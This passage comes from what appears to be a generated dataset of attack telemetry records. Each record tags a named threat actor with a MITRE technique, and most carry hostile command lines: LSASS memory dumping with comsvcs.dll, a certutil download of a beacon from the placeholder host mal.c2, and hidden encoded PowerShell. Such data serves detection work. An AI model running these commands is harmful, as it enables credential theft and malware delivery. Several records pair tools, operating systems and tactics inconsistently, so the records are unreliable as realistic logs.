C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-07-16T00:46:34.000Z","user":{"name":"i-jjitenl4l4ia","sid":"S-1-5-21-473739914-868889118-8898"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Persistence","Impact"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20251124T160657000Z_0019343","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.199.133.134","name":"AZURE-VM-AWI8J191OV","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19343UNC4841T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.98.184.94","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1853 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-02-15T09:39:25.000Z","user":{"name":"CORP\\hov5pwb6a8zi","sid":"S-1-5-21-974354608-131476439-7197"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1003.001 using LOLBin technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Discovery","Lateral Movement"],"technique_id":"T1003.001"},"event_id":"evt_apt29_20250501T210524000Z_0019345","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.195.207.15","name":"APP-WEB-GUQE1HCT6X","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19345APT29T1003.001"},"network":{"domain":"github.com","dst_ip":"1.1.143.27","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-05-05T13:20:44.000Z","user":{"name":"azuread\\kea5f9tqj9j2","sid":"S-1-5-21-290330785-835131551-9943"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Credential Access","Lateral Movement","Privilege Escalation"],"technique_id":"T1484.001"},"event_id":"evt_volttyphoon_20251220T223511000Z_0019347","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.139.127.244","name":"APP-WEB-KTCNZSC9D1","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19347Volt TyphoonT1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.4.174.65","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-01-19T00:23:17.000Z","user":{"name":"svc_gb9itddqqlx4","sid":"S-1-5-21-629348095-731039009-9129"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Persistence","Exfiltration"],"technique_id":"T1570"},"event_id":"evt_scatteredspider_20260603T101346000Z_0019349","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["WMI","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.83.214.26","name":"EC2-INST-2B1QS7JODJ","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19349Scattered SpiderT1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.173.24.88","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2322 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-07-31T05:37:43.000Z","user":{"name":"i-8xwftedxca9m","sid":"S-1-5-21-710633158-232634176-8281"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Exfiltration","Impact"],"technique_id":"T1570"},"event_id":"evt_mustangpanda_20260516T054128000Z_0019351","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.158.12.191","name":"DB-ORACLE-21NMKW2BN6","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19351Mustang PandaT1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.16.183.224","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 830 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-12-27T18:29:44.000Z","user":{"name":"CORP\\ig6dmmfwmdpw","sid":"S-1-5-21-464775383-844040036-3870"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Persistence","Lateral Movement","Command and Control"],"technique_id":"T1570"},"event_id":"evt_lapsus_20250926T224526000Z_0019353","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["WMI","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.183.122.199","name":"WIN-FIN-SRV-IZ7L4W7A3L","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19353Lapsus$T1570"},"network":{"domain":"github.com","dst_ip":"1.6.129.6","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1027 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-01-24T14:34:08.000Z","user":{"name":"arn:aws:iam::uvujo76yk1v6","sid":"S-1-5-21-282078348-529972936-2306"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Defense Evasion"],"technique_id":"T1003.001"},"event_id":"evt_lapsus_20250804T054541000Z_0019355","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.245.185.136","name":"DB-ORACLE-2RI04Z3NBN","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19355Lapsus$T1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.41.144.152","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2786 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-07-26T02:53:52.000Z","user":{"name":"arn:aws:iam::5n2nuchfv3l7","sid":"S-1-5-21-213014464-104098339-2674"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Exfiltration"],"technique_id":"T1566.001"},"event_id":"evt_unc4841_20261208T025649000Z_0019357","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.131.232.148","name":"WIN-FIN-SRV-YGNV0QUGIK","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19357UNC4841T1566.001"},"network":{"domain":"github.com","dst_ip":"1.4.213.55","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"powershell.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-05-21T04:52:05.000Z","user":{"name":"azuread\\v24vm3y2i1sa","sid":"S-1-5-21-364112979-231539892-9892"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Execution"],"technique_id":"T1531"},"event_id":"evt_unc4841_20250907T174151000Z_0019359","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.214.17.71","name":"EC2-INST-595YDGJFGQ","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19359UNC4841T1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.117.131.110","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-09-22T15:35:53.000Z","user":{"name":"CORP\\z73l9vf7825w","sid":"S-1-5-21-310350286-350658039-1419"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Lateral Movement"],"technique_id":"T1021.006"},"event_id":"evt_scatteredspider_20261031T034257000Z_0019361","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.182.123.15","name":"WIN-FIN-SRV-HRX8PRGVCP","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19361Scattered SpiderT1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.48.135.33","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-04-05T08:54:35.000Z","user":{"name":"arn:aws:iam::8xdj7hfp16er","sid":"S-1-5-21-698629499-682214424-6857"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Defense Evasion","Persistence"],"technique_id":"T1566.001"},"event_id":"evt_scatteredspider_20250616T161013000Z_0019363","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.211.173.160","name":"WIN-FIN-SRV-WE30W8DGX7","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19363Scattered SpiderT1566.001"},"network":{"domain":"github.com","dst_ip":"1.10.254.35","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3535 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-09-29T10:09:39.000Z","user":{"name":"svc_bw42yosfx7br","sid":"S-1-5-21-230540155-979138682-6094"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Discovery","Collection","Defense Evasion"],"technique_id":"T1570"},"event_id":"evt_apt41_20250929T034122000Z_0019365","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["TLS","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.169.135.149","name":"EC2-INST-910UEQ37E3","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19365APT41T1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.192.131.116","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-12-31T05:06:03.000Z","user":{"name":"azuread\\jt8hw5zx02nl","sid":"S-1-5-21-384751596-266264326-3263"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Initial Access","Exfiltration"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20250713T190120000Z_0019367","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.104.43.54","name":"DB-ORACLE-1M3X2SHCHW","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19367UNC4841T1059.001"},"network":{"domain":"github.com","dst_ip":"1.173.134.74","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-01-19T21:26:55.000Z","user":{"name":"CORP\\csr0gbtifcpk","sid":"S-1-5-21-744318074-367414698-8645"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Persistence"],"technique_id":"T1021.006"},"event_id":"evt_fin7_20250214T142015000Z_0019369","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.26.213.69","name":"WIN-FIN-SRV-IV0G12IM7L","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19369FIN7T1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.128.106.214","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-05-24T17:53:43.000Z","user":{"name":"arn:aws:iam::fjkg112btdr4","sid":"S-1-5-21-557560243-985751617-5507"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Persistence","Initial Access"],"technique_id":"T1071.001"},"event_id":"evt_apt29_20250302T180153000Z_0019371","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["WMI","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.201.69.170","name":"AZURE-VM-J4IUL8XJ1F","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19371APT29T1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.57.127.203","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-01-18T02:15:16.000Z","user":{"name":"svc_76judessuy7r","sid":"S-1-5-21-804881205-408509132-9654"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Exfiltration"],"technique_id":"T1546.003"},"event_id":"evt_mustangpanda_20260131T215339000Z_0019373","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["WMI","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.238.139.203","name":"EC2-INST-XL49Y5IBUD","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19373Mustang PandaT1546.003"},"network":{"domain":"github.com","dst_ip":"1.46.23.125","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-12-12T13:16:23.000Z","user":{"name":"i-5lb3nccu8pve","sid":"S-1-5-21-236758388-662068768-3413"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Credential Access","Defense Evasion"],"technique_id":"T1531"},"event_id":"evt_unc4841_20260529T102534000Z_0019375","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.219.30.150","name":"EC2-INST-Q7DA1D2L46","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19375UNC4841T1531"},"network":{"domain":"aws.amazon.com","dst_ip":"1.190.140.120","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1776 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-04-11T00:16:49.000Z","user":{"name":"i-r5w1c3aklen8","sid":"S-1-5-21-640862927-857798037-2090"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Initial Access","Exfiltration"],"technique_id":"T1566.001"},"event_id":"evt_lapsus_20250701T181232000Z_0019377","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.30.65.137","name":"WIN-FIN-SRV-1HYONN0PO4","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19377Lapsus$T1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.76.89.179","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"services.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-08-30T23:41:02.000Z","user":{"name":"svc_4d4l7w0z4qmv","sid":"S-1-5-21-953814934-279688782-7171"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Initial Access","Persistence","Defense Evasion"],"technique_id":"T1071.001"},"event_id":"evt_apt29_20260926T064817000Z_0019379","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.134.113.12","name":"DB-ORACLE-ZE9RT6XN0Q","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19379APT29T1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.112.158.191","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-07-29T13:41:56.000Z","user":{"name":"CORP\\kudfb3lh7nec","sid":"S-1-5-21-951900274-751696237-4670"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Initial Access","Command and Control"],"technique_id":"T1021.006"},"event_id":"evt_lapsus_20250905T000132000Z_0019381","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.56.236.147","name":"EC2-INST-9BEPMMQ48Z","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19381Lapsus$T1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.21.253.166","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3389 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-01-31T10:39:28.000Z","user":{"name":"svc_amuw2lvap8kf","sid":"S-1-5-21-355323749-376026132-8538"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Reconnaissance"],"technique_id":"T1566.001"},"event_id":"evt_unc4841_20250224T003921000Z_0019383","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.214.52.48","name":"APP-WEB-GWQJ8AT2OC","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19383UNC4841T1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.40.130.110","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-01-08T23:43:10.000Z","user":{"name":"svc_yuu1xyeq8xp8","sid":"S-1-5-21-134534849-659138213-3818"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Command and Control"],"technique_id":"T1566.001"},"event_id":"evt_volttyphoon_20260305T215634000Z_0019385","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.148.126.86","name":"IAM-ROLE-11KGKUQ7WS","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19385Volt TyphoonT1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.14.147.170","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-04-10T06:12:05.000Z","user":{"name":"azuread\\08vu7zmznyx1","sid":"S-1-5-21-248671640-803475022-2866"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Persistence"],"technique_id":"T1059.001"},"event_id":"evt_apt41_20250513T014025000Z_0019387","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.50.243.39","name":"IAM-ROLE-3VIABMW21C","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19387APT41T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.77.47.196","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-03-24T13:42:15.000Z","user":{"name":"CORP\\qcvihgcmkag1","sid":"S-1-5-21-201727905-634929069-1342"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Collection","Command and Control"],"technique_id":"T1071.001"},"event_id":"evt_lapsus_20250916T164418000Z_0019389","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.3.158.146","name":"APP-WEB-DC1JO2U4NX","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19389Lapsus$T1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.5.190.61","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe 